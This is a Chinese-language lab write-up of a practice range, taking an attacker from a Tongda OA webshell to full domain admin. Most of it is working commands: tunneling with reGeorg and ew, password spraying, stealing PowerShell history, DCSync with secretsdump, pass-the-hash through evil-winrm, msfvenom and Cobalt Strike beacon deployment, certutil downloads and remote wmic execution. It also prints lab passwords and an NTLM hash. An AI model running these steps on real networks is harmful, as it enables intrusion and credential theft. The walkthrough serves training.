靶场环境来自:棉花糖——靶机-No-CVE-Range系列靶场B
大概拓扑如下:
1、端口扫描与服务探测 通达OA任意文件上传,传了一个马,用蚁剑连接
发现有个192.168.10.0/24段的,搭个代理访问
先搭建个隧道,本来想用Stowawa的,没成功
用了一个http协议的工具suo5(后面把suo5代理换成了reGeorg,可以看”在搭建代理链过程中遇到问题”)
因为网站是php语言写的,所以把.php文件上传到根目录作为服务端
客户端如下
配置proxifier
192.168.111.20主机里面有有一个密码本
1 2 3 cmd:dir /S /B *pass* .txt == *pass* .xml == *pass* .ini == *cred* == *vnc* == *.config* == *user* powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass* .txt, *pass* .xml, *pass* .ini, *cred* , *vnc* , *.config, *user* -File | Select-Object FullName, Length, LastWriteTime
192.168.10.128 alice/P@ssw0rd
将fscan传到第一台主机上,进行内网网段扫描,存在一台主机192.168.10.128
进行端口扫描,fscan -h 192.168.10.128 -p 1-65535 -o fscan.txt
2、3389远程登录 注意,要加域前缀(例如 domain\username)
信息收集,还有一个域环境,网段172.16.10.0/24
3、域内信息收集 这里记下工具BloodHound,可视化图形显示域环境中的关系(你会说,你咋就写这点呢,因为我第一次用,不太会用)
工具安装使用参考文章:https://www.freebuf.com/articles/web/288370.html
5、内网穿透搭建 搭建个代理链,物理机访问172.16段
在reGeorg搭建好的基础上
1 2 192 .168 .10 .98 执行:建立一个反向 SOCKS 代理,在本机的 1080 端口启动 SOCKS5 代理,连接到远程主机的 7778 端口ew_for_Win .exe -s rcsocks -l 1080 -e 7778
1 2 192 .168 .10 .128 执行:运行反向连接命令,连接到 192.168.10.98 远程的 7778 端口ew_for_Win .exe -s rssocks -d 192.168.10.98 -e 7778
Pro设置
这里的6665就是上面搭的1111
测试是否搭建成功
1 .\nxc.exe smb 172.16 .10.129 -u alice -p P @ssw0rd
没啥问题,可以通过物理机访问到172.16段
6、共享目录枚举与敏感信息获取 本来想在物理机上枚举172网段SMB共享目录,运行命令以后,web服务就挂,需要重启靶场才行,只能在内网主机上执行了
1 列出所有可访问的共享文件夹:.\nxc.exe smb 172.16 .10.0 /24 -u alice -p P @ssw0rd --shares
发现172.16.10.129自定义共享 xya,有读权限
爬取目标共享文件夹名为 “xya”内所有文件
1 .\nxc.exe smb 172.16 .10.0 /24 -u alice -p P@ssw0rd -d xya.com --spider xya --pattern .
临时挂载 SMB 共享、读取文件、然后删除驱动器映射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 cmd:net use Z: \\172.16 .10.129 \xya /user: xya.com\alice P@ssw0rd && type Z: \Memo .txt && net use Z: /delete arlpass anonymous root12345678 private123 zxsoft1234!@123456 admin system hicomadmin eyou_admin cyouadmin leadsec.auditor12345 cnoa.cn2010password leadsec@7766 admin123 leadsec leadsec32 leadsec.useradmin leadsec.waf admin*PWD firewallXyacontribution1 ! hillstone guest qxcomm1680 qxcommsupport qxcomm1688 qxcommsuport sua_password$123 sa_password$123 password$123 venus70 venus60 sys$admin @028 freesvr csmp@CLOUD987
7、域用户枚举与密码喷洒 1 nxc.exe smb 172.16 .10.0 /24 -u user.txt -p pass.txt
8、本地权限排查与凭据挖掘 你会有疑问,这怎么用CS执行了?因为这个靶场不是连续做完的,截图就不连贯,可以看下面的”上线到CS”
从PowerShell历史文件,获取高权限用户凭据(calue/LongliveChina1!)
1 2 3 4 5 6 7 8 9 10 11 用于窃取所有用户PowerShell命令历史记录的命令 powerpick Get- ChildItem - Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { " `n=== $($_.FullName) ==="; Get-Content $_.FullName -ErrorAction SilentlyContinue } | Out-File C:\Windows\Temp\all_history.txt Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" -Recurse -ErrorAction SilentlyContinue -Path C:\Users\*\AppData\... 搜索所有用户的 PSReadLine 目录 -Recurse - 递归搜索子目录 -ErrorAction SilentlyContinue 忽略权限错误(无法访问的用户目录) download C:\Windows\Temp\all_history.txt
calue/LongliveChina1!
9、DCsync权限识别与利用 通过BloodHound确认用户(calue)具备DCsync权限,使用secretsdump.py工具导出域内用户哈希(含域管理员Administrator哈希)
1 2 3 https://gi thub.com/ropnop/im packet_static_binaries/releases 物理机:D:\tools\secretsdump_windows.exe xya/calue:'LongliveChina1!' @172.16 .10.130 -dc-ip 172.16 .10.130 -just-dc-user administrator
1 2 3 4 5 Administrator : 500 :aad3b435b51404eeaad3b435b51404ee :ece39e1190e04b11c0c21797feb2ec1e : : : [*] Kerberos keys grabbedAdministrator :aes256-cts-hmac-sha1- 96 :c64e5ebc5f7b7ac425200b12eac0dfb70e36377052547242b185683eac422dcf Administrator :aes128-cts-hmac-sha1- 96 :e126327fd843bfc06141b711523f003f Administrator :des-cbc-md5 :ead0b585e9fd3e5d
10、哈希传递登录与域控权限获取 利用域管理员哈希,通过evil-winrm工具实现哈希传递登录域控制器(172.16.10.130)
1 2 3 4 5 https://gi thub.com/Hackplayers/ evil-winrm 使用前进行安装了gem install evil-winrm,参考文章:https:// blog.csdn.net/qq_66635990/ article/details/ 135574584 物理机:ruby evil-winrm.rb -u administrator -H ece39e1190e04b11c0c21797feb2ec1e -i 172.16 .10.130
上线到CS 第一台主机上线到CS 木马上传到蚁剑运行就行
第二台主机上线CS 参考文章:https://www.lmboke.com/archives/nei-wang-shen-tou-dai-li-socksxie-yi-lu-you-bu-chu-wang-hou-shen-tou-tong-xun-cs
思路:在192.168.10.128执行正向连接的木马程序,然后让192.168.10.98去主动连接192.168.10.128
cs添加监听器
生成exe程序
上传到192.168.10.128的系统执行exe程序。来到10.98的会话中执行如下命令
1 命令:connect ip port。connect 192.168 .10 .128 4433
成功上线
第三台主机上线CS 需求:把木马运行在第三台主机上。监听和木马都可以用同一个,端口虽然一样但是电脑不一样。
假设已经通过密码喷洒得到了凭证vllay/Xyacontribution1!
1 shell copy C:\Users\Public\beacon4.exe C:\share\ (C:\Users\alice\Desktop)
使用域账户 XYA\vllay 和密码创建访问令牌
1 2 3 4 5 6 make_token XYA\vllay Xyacontribution1! make_token 是cs 的内置命令,用于:在当前会话中模拟指定用户身份、避免在每条命令中重复输入凭证、对后续所有操作生效 找到密码本:shell dir \\172.16.10.129\c$shell type \\172.16.10.129\c$\xya_share\Memo.txt
1 shell copy C:\share\beacon4.exe \\172.16 .10.129 \c $\Windows\Temp\beacon4.exe
1 2 3 4 shell wmic /node:172.16 .10 .129 /user :XYA\vllay /password :Xyacontribution1! process call create "C:\Windows\Temp\beacon4.exe" 在192.168 .10 .128 会话执行: 命令:connect ip port。connect 172.16 .10 .129 4434
成功上线
上线到MSF 都是主动连接
需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:
1 .\msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe
将木马上传
exe执行成功之后,192.168.111.20会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell
1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.111.20 set lport 5555 run
上线第二个主机,添加路由
将木马上传
exe执行成功之后,192.168.10.128会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell
10.129的上线参照CS和msf就可以,一样的。
文件上传到192.168.10.128主机方法: 方法一:直接通过3389复制粘贴
方法二:10.128可以访问到10.98,把文件上传到图片目录上去
然后10.128请求路径,即可下载
1 certutil -urlcache -split -f http:// 192.168 .10.98 /images/ ew_for_Win.exe
在搭建代理链过程中遇到问题 问题一:在192.168.10.98这个主机上执行-s rcsocks -l 1080 -e 7778命令时,3389就断,最后把suo5代理换成了reGeorg,就解决了
换reGeorg也和suo5操作差不多
1 2 3 4 netstat -ano |findstr 端口 taskkill /t / f /pid 111 python3 neoreg.py -k password -u http:// 192.168 .111.20 /tunnel.php -p 6665
问题二:在搭建过程中,192.168.10.128主机上的ew一直连接不到10.98主机,ping可以ping通
1 netsh advfirewall set allprofiles state off
关闭10.98主机Windows 防火墙,问题解决
4、权限滥用修改用户密码 查看对特定用户的委派权限 1 2 3 4 5 6 Import-Module ActiveDirectory (Get-Acl "AD:\$ (Get-ADUser wake -Properties DistinguishedName | Select-Object -ExpandProperty DistinguishedName)" ).Access | Where-Object {$_ .IdentityReference -like "*alice*" }
权限详情解析 1 2 3 4 ActiveDirectoryRights : ExtendedRight ← 扩展权限ObjectType : 00299570 -246 d-11 d0-a768-00 aa006e0529 ← 重置密码 GUIDAccessControlType : Allow ← 允许IdentityReference : XYA\alice ← 授权给 alice
00299570-246d-11d0-a768-00aa006e0529 是 Active Directory 中 “User-Force-Change-Password”(重置密码) 的标准 GUID。
现在可以重置密码了 使用 PowerShell
1 2 3 $newPassword = ConvertTo-SecureString "NewP@ssw0rd2025!" -AsPlainText -Force Set-ADAccountPassword -Identity wake -Reset -NewPassword $newPassword
切换到 wake 域用户
1 runas /user:XYA\wake powershell
搜索flag文件
1 powershell:Get -ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user * -File | Select -Object FullName, Length, LastWriteTime
以Wake域用户身份上线CS 以 Wake 域用户权限运行 Alice 桌面的文件 复制文件到公共位置,这样wake才有权访问
1 runas /user:XYA\wake "C:\Users\Public\beacon2.exe"
以wake身份上线
我是边学边做的,有不对的地方请谅解,请指正,感谢。